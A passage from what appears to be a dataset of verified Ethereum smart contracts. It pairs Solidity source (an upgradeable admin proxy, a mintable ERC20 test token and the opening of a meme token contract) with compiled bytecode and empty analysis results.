return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122022cc6eeb6c3362831fd9d62dc5847e66dfaf05a284d30f54c1a741bff685096b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,369 |
0x890b708cd5f499d5b1b557609a0685adb80d3a92 | pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HeatherTestToken is MintableToken {
string public name = "Heather";
string public symbol = "HTT";
uint8 public decimals = 18;
} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b6102136107de565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e4565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610ba3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb6565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9e565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102f565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611078565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b610412611140565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611166565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611204565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611428565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611624565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116ab565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561082157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108fa57600080fd5b61094c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ab382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1457600080fd5b600360149054906101000a900460ff16151515610c3057600080fd5b610c458260005461181c90919063ffffffff16565b600081905550610c9d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eaf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f43565b610ec2838261180390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d657600080fd5b600360149054906101000a900460ff161515156110f257600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111fc5780601f106111d1576101008083540402835291602001916111fc565b820191906000526020600020905b8154815290600101906020018083116111df57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561124157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128f57600080fd5b6112e182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114b982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561174357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561181157fe5b818303905092915050565b600080828401905083811015151561183057fe5b80915050929150505600a165627a7a723058202d5ffa8487f7d6d916bc698febc859797de0b867e5fe96853083893087fa7d710029 | {"success": true, "error": null, "results": {}} | 10,370 |
0x237041cec7de125914b5fb74884b925a3782ba74 | /**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/*
Telegram: https://t.me/bladeportal
Website: https://beybladetoken.com/
Twitter: https://twitter.com/Beyblade_BLADE
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
